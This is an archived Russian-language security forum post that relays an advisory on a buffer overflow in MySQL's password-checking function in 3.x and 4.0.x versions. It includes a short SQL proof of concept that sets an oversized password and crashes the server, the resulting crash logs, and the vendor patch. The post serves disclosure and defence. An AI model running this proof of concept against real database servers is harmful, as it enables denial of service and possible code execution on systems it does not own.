Форум "Защита и взлом" (архив)
Не только для хакеров...
Удаленное переполнение буфера в MySQL базе данных!Программа: MySQL 3.0.х до 3.0.57 и MySQL 4.0.х до 4.0.14 Опасность: Выскокая Наличие эксплоита: Да Описание: Переполнение буфера обнаружено в MySQL. Удаленный атакующий может выполнить произвольный код на уязвимой системе. Переполнение буфера обнаружено в функции проверки пароля. Удаленный атакующий, имеющий административные привилегии на MySQL сервере, может представить специально обработанное значение поля "Password", длиннее 16 символов, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями MySQL базы данных. На большинстве Linux систем, адрес возврата можно перезаписать на 444 байта. Пример/Эксплоит: USE mysql; > ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT; > UPDATE User SET Password = '123456781234567812345678123456781234567812345678123456781234567812345678 123456781234567812345678123456781234567812345678123456781234567812345678 123456781234567812345678123456781234567812345678123456781234567812345678 12345678123456781234567812345678...' WHERE User = 'abcd'; > FLUSH PRIVILEGES; [Connection lost] mysqld_safe/safe_mysqld log : 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted 030806 21:05:43 mysqld restarted MySQL log : tons of mysqld got signal 11; URL производителя: Решение: Установите обновленную версию программы или примените следующий патч: --- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200 +++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200 @@ -233,7 +233,7 @@ "Found old style password for user '%s'. Ignoring user. (You may want to restart mysqld using --old-protocol)", user.user ? user.user : ""); /* purecov: tested */ } - else if (length % 8) // This holds true for passwords + else if (length % 8 || length > 16) // This holds true for passwords { sql_print_error( "Found invalid password for user: '%s@%s'; Ignoring user",
|
Тема находится в архиве
Написать ответ |
|
